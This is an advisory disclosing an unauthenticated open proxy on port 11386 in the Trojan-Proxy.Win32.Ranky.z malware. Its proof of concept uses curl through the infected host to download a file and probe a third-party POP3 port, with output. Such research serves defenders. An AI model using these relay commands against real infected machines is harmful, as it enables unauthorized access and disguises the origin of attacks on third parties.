Trojan-Proxy.Win32.Ranky.z Unauthenticated Open Proxy

Trojan-Proxy.Win32.Ranky.z malware suffers from an unauthenticated open proxy vulnerability.


MD5 | a952bec8bbc9bc33bc5f108bb4d35985

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/e312385f64e6b8fd667b4f9b5ea1ff70.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Trojan-Proxy.Win32.Ranky.z
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 11386. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: e312385f64e6b8fd667b4f9b5ea1ff70
Vuln ID: MVID-2021-0366
Disclosure: 10/15/2021

Exploit/PoC:
Download filez)

curl -x http://192.168.18.125:11386 http://192.168.18.128/DOOM.exe --output DOOM.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 24576 100 24576 0 0 6144 0 0:00:04 0:00:04 --:--:-- 5957

Scan ports)

curl -x http://192.168.18.125:11386 http://192.168.18.128:110
+OK INetSim POP3 Server ready <[email protected]>
-ERR Unknown command.


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